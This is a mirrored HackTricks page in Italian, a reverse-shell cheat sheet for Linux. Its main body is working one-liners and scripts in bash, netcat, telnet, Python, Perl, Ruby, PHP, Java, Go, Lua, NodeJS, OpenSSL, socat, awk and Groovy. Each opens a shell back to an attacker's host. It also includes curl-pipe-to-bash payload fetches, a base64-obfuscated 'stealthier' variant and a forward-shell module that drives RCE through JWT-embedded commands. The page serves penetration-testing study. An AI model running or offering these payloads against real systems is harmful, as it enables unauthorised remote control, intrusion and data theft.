mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
323 lines
13 KiB
Markdown
323 lines
13 KiB
Markdown
# Shells - Linux
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
**Se hai domande su una di queste shell, puoi controllarle su** [**https://explainshell.com/**](https://explainshell.com)
|
|
|
|
## Full TTY
|
|
|
|
**Una volta ottenuta una reverse shell**[ **leggi questa pagina per ottenere un full TTY**](full-ttys.md)**.**
|
|
|
|
## Bash | sh
|
|
```bash
|
|
curl https://reverse-shell.sh/1.1.1.1:3000 | bash
|
|
bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1
|
|
bash -i >& /dev/udp/127.0.0.1/4242 0>&1 #UDP
|
|
0<&196;exec 196<>/dev/tcp/<ATTACKER-IP>/<PORT>; sh <&196 >&196 2>&196
|
|
exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5; done
|
|
|
|
#Short and bypass (credits to Dikline)
|
|
(sh)0>/dev/tcp/10.10.10.10/9091
|
|
#after getting the previous shell to get the output to execute
|
|
exec >&0
|
|
```
|
|
Non dimenticare di controllare con altre shell: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh e bash.
|
|
|
|
### Shell sicura dei simboli
|
|
```bash
|
|
#If you need a more stable connection do:
|
|
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
|
|
|
|
#Stealthier method
|
|
#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0
|
|
echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null
|
|
```
|
|
#### Spiegazione della shell
|
|
|
|
1. **`bash -i`**: Questa parte del comando avvia una shell Bash interattiva (`-i`).
|
|
2. **`>&`**: Questa parte del comando è una notazione abbreviata per **reindirizzare sia l'output standard** (`stdout`) che **l'errore standard** (`stderr`) verso la **stessa destinazione**.
|
|
3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`**: Questo è un file speciale che **rappresenta una connessione TCP all'indirizzo IP e alla porta specificati**.
|
|
- Reindirizzando **i flussi di output e di errore a questo file**, il comando invia effettivamente l'output della sessione della shell interattiva alla macchina dell'attaccante.
|
|
4. **`0>&1`**: Questa parte del comando **reindirizza l'input standard (`stdin`) alla stessa destinazione dell'output standard (`stdout`)**.
|
|
|
|
### Crea nel file ed esegui
|
|
```bash
|
|
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
|
|
wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh
|
|
```
|
|
## Forward Shell
|
|
|
|
Quando si tratta di una vulnerabilità di **Remote Code Execution (RCE)** all'interno di un'applicazione web basata su Linux, ottenere una reverse shell potrebbe essere ostacolato da difese di rete come le regole iptables o meccanismi di filtraggio dei pacchetti complessi. In tali ambienti ristretti, un approccio alternativo prevede l'istituzione di una shell PTY (Pseudo Terminal) per interagire con il sistema compromesso in modo più efficace.
|
|
|
|
Uno strumento consigliato per questo scopo è [toboggan](https://github.com/n3rada/toboggan.git), che semplifica l'interazione con l'ambiente target.
|
|
|
|
Per utilizzare toboggan in modo efficace, crea un modulo Python adattato al contesto RCE del tuo sistema target. Ad esempio, un modulo chiamato `nix.py` potrebbe essere strutturato come segue:
|
|
```python3
|
|
import jwt
|
|
import httpx
|
|
|
|
def execute(command: str, timeout: float = None) -> str:
|
|
# Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution
|
|
token = jwt.encode(
|
|
{"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256"
|
|
)
|
|
|
|
response = httpx.get(
|
|
url="https://vulnerable.io:3200",
|
|
headers={"Authorization": f"Bearer {token}"},
|
|
timeout=timeout,
|
|
# ||BURP||
|
|
verify=False,
|
|
)
|
|
|
|
# Check if the request was successful
|
|
response.raise_for_status()
|
|
|
|
return response.text
|
|
```
|
|
E poi, puoi eseguire:
|
|
```shell
|
|
toboggan -m nix.py -i
|
|
```
|
|
Per sfruttare direttamente una shell interattiva. Puoi aggiungere `-b` per l'integrazione con Burpsuite e rimuovere il `-i` per un wrapper rce più basilare.
|
|
|
|
Un'altra possibilità consiste nell'utilizzare l'implementazione della shell forward di `IppSec` [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell).
|
|
|
|
Devi solo modificare:
|
|
|
|
- L'URL dell'host vulnerabile
|
|
- Il prefisso e il suffisso del tuo payload (se presenti)
|
|
- Il modo in cui il payload viene inviato (headers? data? informazioni extra?)
|
|
|
|
Poi, puoi semplicemente **inviare comandi** o persino **usare il comando `upgrade`** per ottenere un PTY completo (nota che le pipe vengono lette e scritte con un ritardo approssimativo di 1,3 secondi).
|
|
|
|
## Netcat
|
|
```bash
|
|
nc -e /bin/sh <ATTACKER-IP> <PORT>
|
|
nc <ATTACKER-IP> <PORT> | /bin/sh #Blind
|
|
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER-IP> <PORT> >/tmp/f
|
|
nc <ATTACKER-IP> <PORT1>| /bin/bash | nc <ATTACKER-IP> <PORT2>
|
|
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc <ATTACKER-IP> <PORT> 1>/tmp/bkpipe
|
|
```
|
|
## gsocket
|
|
|
|
Controllalo in [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/)
|
|
```bash
|
|
bash -c "$(curl -fsSL gsocket.io/x)"
|
|
```
|
|
## Telnet
|
|
```bash
|
|
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
|
|
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
|
|
telnet <ATTACKER-IP> <PORT> | /bin/bash | telnet <ATTACKER-IP> <PORT>
|
|
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-IP> <PORT> 1>/tmp/bkpipe
|
|
```
|
|
## Whois
|
|
|
|
**Attaccante**
|
|
```bash
|
|
while true; do nc -l <port>; done
|
|
```
|
|
Per inviare il comando scrivilo, premi invio e premi CTRL+D (per fermare STDIN)
|
|
|
|
**Vittima**
|
|
```bash
|
|
export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done
|
|
```
|
|
## Python
|
|
```bash
|
|
#Linux
|
|
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
|
|
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
|
|
#IPv6
|
|
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
|
|
```
|
|
## Perl
|
|
```bash
|
|
perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
|
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
|
```
|
|
## Ruby
|
|
```bash
|
|
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
|
|
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
|
```
|
|
## PHP
|
|
```php
|
|
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
|
|
// Using this method may lead to instances where the connection reaches out to the listener and then closes.
|
|
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
|
|
|
|
// Using 'proc_open' makes no assumptions about what the file descriptor will be.
|
|
// See https://security.stackexchange.com/a/198944 for more information
|
|
<?php $sock=fsockopen("10.0.0.1",1234);$proc=proc_open("/bin/sh -i",array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>
|
|
|
|
<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>
|
|
```
|
|
## Java
|
|
```bash
|
|
r = Runtime.getRuntime()
|
|
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
|
|
p.waitFor()
|
|
```
|
|
## Ncat
|
|
```bash
|
|
victim> ncat <ip> <port,eg.443> --ssl -c "bash -i 2>&1"
|
|
attacker> ncat -l <port,eg.443> --ssl
|
|
```
|
|
## Golang
|
|
```bash
|
|
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
|
|
```
|
|
## Lua
|
|
```bash
|
|
#Linux
|
|
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
|
|
#Windows & Linux
|
|
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
|
|
```
|
|
## NodeJS
|
|
```javascript
|
|
(function(){
|
|
var net = require("net"),
|
|
cp = require("child_process"),
|
|
sh = cp.spawn("/bin/sh", []);
|
|
var client = new net.Socket();
|
|
client.connect(8080, "10.17.26.64", function(){
|
|
client.pipe(sh.stdin);
|
|
sh.stdout.pipe(client);
|
|
sh.stderr.pipe(client);
|
|
});
|
|
return /a/; // Prevents the Node.js application form crashing
|
|
})();
|
|
|
|
|
|
or
|
|
|
|
require('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')
|
|
require('child_process').exec("bash -c 'bash -i >& /dev/tcp/10.10.14.2/6767 0>&1'")
|
|
|
|
or
|
|
|
|
-var x = global.process.mainModule.require
|
|
-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')
|
|
|
|
or
|
|
|
|
// If you get to the constructor of a function you can define and execute another function inside a string
|
|
"".sub.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
|
|
"".__proto__.constructor.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
|
|
|
|
|
|
or
|
|
|
|
// Abuse this syntax to get a reverse shell
|
|
var fs = this.process.binding('fs');
|
|
var fs = process.binding('fs');
|
|
|
|
or
|
|
|
|
https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
|
|
```
|
|
## OpenSSL
|
|
|
|
L'Attaccante (Kali)
|
|
```bash
|
|
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
|
|
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
|
|
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
|
|
```
|
|
La Vittima
|
|
```bash
|
|
#Linux
|
|
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
|
|
|
|
#Windows
|
|
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
|
|
```
|
|
## **Socat**
|
|
|
|
[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
|
|
|
|
### Shell di binding
|
|
```bash
|
|
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
|
|
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
|
|
```
|
|
### Reverse shell
|
|
```bash
|
|
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
|
|
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
|
|
```
|
|
## Awk
|
|
```bash
|
|
awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
|
|
```
|
|
## Finger
|
|
|
|
**Attaccante**
|
|
```bash
|
|
while true; do nc -l 79; done
|
|
```
|
|
Per inviare il comando scrivilo, premi invio e premi CTRL+D (per fermare STDIN)
|
|
|
|
**Vittima**
|
|
```bash
|
|
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null')`; sleep 1; done
|
|
|
|
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done
|
|
```
|
|
## Gawk
|
|
```bash
|
|
#!/usr/bin/gawk -f
|
|
|
|
BEGIN {
|
|
Port = 8080
|
|
Prompt = "bkd> "
|
|
|
|
Service = "/inet/tcp/" Port "/0/0"
|
|
while (1) {
|
|
do {
|
|
printf Prompt |& Service
|
|
Service |& getline cmd
|
|
if (cmd) {
|
|
while ((cmd |& getline) > 0)
|
|
print $0 |& Service
|
|
close(cmd)
|
|
}
|
|
} while (cmd != "exit")
|
|
close(Service)
|
|
}
|
|
}
|
|
```
|
|
## Xterm
|
|
|
|
Questo tenterà di connettersi al tuo sistema sulla porta 6001:
|
|
```bash
|
|
xterm -display 10.0.0.1:1
|
|
```
|
|
Per catturare la reverse shell puoi usare (che ascolterà sulla porta 6001):
|
|
```bash
|
|
# Authorize host
|
|
xhost +targetip
|
|
# Listen
|
|
Xnest :1
|
|
```
|
|
## Groovy
|
|
|
|
di [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) NOTA: La reverse shell Java funziona anche per Groovy
|
|
```bash
|
|
String host="localhost";
|
|
int port=8044;
|
|
String cmd="cmd.exe";
|
|
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
|
|
```
|
|
## Riferimenti
|
|
|
|
- [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/)
|
|
- [http://pentestmonkey.net/cheat-sheet/shells/reverse-shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell)
|
|
- [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/)
|
|
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|